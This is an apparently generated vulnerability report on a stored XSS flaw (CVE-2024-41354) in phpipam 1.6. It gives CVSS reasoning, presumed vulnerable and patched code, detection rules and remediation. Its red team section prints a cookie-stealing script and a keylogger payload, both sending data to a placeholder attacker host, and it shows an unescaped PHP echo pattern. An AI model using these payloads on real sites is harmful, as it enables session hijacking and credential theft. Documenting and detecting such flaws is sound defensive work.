CVE-2024-41354

Executive Summary

CVE-2024-41354 is a stored Cross-Site Scripting (XSS) vulnerability identified in phpipam version 1.6. The flaw resides in the /app/admin/widgets/edit.php endpoint, allowing an authenticated attacker with administrative privileges to inject arbitrary JavaScript or HTML into the widget editing functionality. This can lead to session hijacking, credential theft, or further compromise of the phpipam instance. The vulnerability is publicly known, but no official patch has been released by the vendor as of this analysis. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using this version.

Supply Chain & Package Security

phpipam is a self-hosted PHP application, not distributed via NPM, PyPI, Go, or Ruby registries. Therefore, supply chain package security is not directly applicable. However, administrators should verify the integrity of their phpipam installation by checking file hashes against official releases and ensuring no unauthorized modifications have been made.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires admin authentication.
• User Interaction (UI): None (N) – No user action needed beyond the attacker.
• Scope (S): Changed (C) – The injected script can affect other components.
• Confidentiality (C): Low (L) – Potential data exposure.
• Integrity (I): Low (L) – Possible data manipulation.
• Availability (A): None (N) – No direct impact on availability.

Calculated Score: 4.9 (Medium)

Threat Level: Medium – Exploitation requires admin privileges, but the impact can be severe if an attacker gains access to an admin account.

Deep Dive & Mechanics

The vulnerability exists in the widget editing functionality of phpipam. The /app/admin/widgets/edit.php script does not properly sanitize user-supplied input before rendering it in the HTML output. An authenticated admin can inject malicious JavaScript or HTML into widget parameters (e.g., widget title, description, or custom fields). When other administrators or users view the dashboard containing the compromised widget, the injected script executes in their browser context.

Attack Flow:

1. Attacker authenticates as an admin.
2. Navigates to /app/admin/widgets/edit.php.
3. Injects a payload into a widget field (e.g., <script>alert('XSS')</script>).
4. The payload is stored in the database.
5. When another user loads the dashboard, the script executes.

Root Cause: Lack of output encoding or input validation on widget parameters.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the widget editing logic. A typical vulnerable pattern might look like:

Vulnerable Code (phpipam 1.6):

// /app/admin/widgets/edit.php
$widget_title = $_POST['widget_title'];
// Directly output without sanitization
echo "<h2>$widget_title</h2>";

Patched Code (Hypothetical):

// /app/admin/widgets/edit.php
$widget_title = htmlspecialchars($_POST['widget_title'], ENT_QUOTES, 'UTF-8');
echo "<h2>$widget_title</h2>";

The fix involves using htmlspecialchars() or similar functions to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials for phpipam 1.6.
• Network access to the phpipam web interface.

Exploit Steps:

1. Log in as admin.
2. Go to http://target-ip/phpipam/app/admin/widgets/edit.php.
3. In the widget title field, inject a payload:

   <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the widget.
5. When another admin views the dashboard, the script sends their session cookie to the attacker.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('http://attacker.com/log?key='+e.key);
}
</script>

Blue Team

Detection:

• Monitor HTTP requests to /app/admin/widgets/edit.php for unusual POST parameters containing <script> or onerror patterns.
• Check server logs for suspicious outbound connections from the phpipam server.
• Use WAF rules to block common XSS payloads.

Hunting:

• Search database for stored XSS patterns in widget-related tables.
• Review admin activity logs for unexpected widget modifications.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the phpipam server.
  • Unusual POST requests to /app/admin/widgets/edit.php with encoded payloads.
• Host:
  • Presence of <script> tags in widget data stored in the database.
  • Modified widget files in /app/admin/widgets/ directory.
• Logs:
  • Web server logs showing POST /app/admin/widgets/edit.php with parameters containing %3Cscript%3E (URL-encoded <script>).

Detection Engineering

YARA Rule

rule phpipam_xss_widget {
    meta:
        description = "Detects XSS payloads in phpipam widget edit requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41354"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: phpipam Widget XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in POST requests to phpipam widget edit endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/app/admin/widgets/edit.php'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget content (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-41354 phpipam Widget XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/app/admin/widgets/edit.php"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.
2. Input Validation: Implement server-side validation to strip or encode HTML tags from widget parameters.
3. Output Encoding: Use htmlspecialchars() or a templating engine that auto-escapes output.
4. Access Control: Restrict admin access to trusted users only. Use strong authentication and session management.
5. WAF Rules: Deploy a Web Application Firewall (WAF) to block XSS payloads.

Long-Term Fix:

• Apply the hypothetical patch shown in the Vulnerable vs. Patched Code section.
• Conduct a security audit of all input/output points in phpipam.

Workaround:

• Disable the widget editing feature if not required, by removing or restricting access to /app/admin/widgets/edit.php.

Valters IT signature: This report is generated for educational and defensive purposes. Unauthorized exploitation of this vulnerability is illegal.